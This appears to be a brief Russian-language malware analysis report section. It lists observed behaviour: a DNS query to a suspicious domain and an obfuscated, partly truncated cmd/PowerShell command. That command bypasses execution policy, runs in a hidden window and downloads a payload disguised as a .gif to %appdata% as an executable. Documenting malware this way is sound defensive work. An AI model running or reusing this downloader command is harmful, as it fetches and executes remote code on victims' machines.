Техническая информация
- http://www.basopoew.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "PoWersheLl.exE -ExECutioNPOLIcY bYpAss -NoprofIle -wiNdoWsTYLe HIDDEN (NeW-ObJECT sYSteM.nET.WEbCLiEnT).dOWNlOadfILe('http://www.basopoew.top/read.php?f=1.gif','%apPDATA%.EX...
- DNS ASK ba###oew.top
- '<SYSTEM32>\cmd.exe' /c "PoWersheLl.exE -ExECutioNPOLIcY bYpAss -NoprofIle -wiNdoWsTYLe HIDDEN (NeW-ObJECT sYSteM.nET.WEbCLiEnT).dOWNlOadfILe('http://www.basopoew.top/read.php?f=1.gif','%apPDATA%.EX...' (со скрытым окном)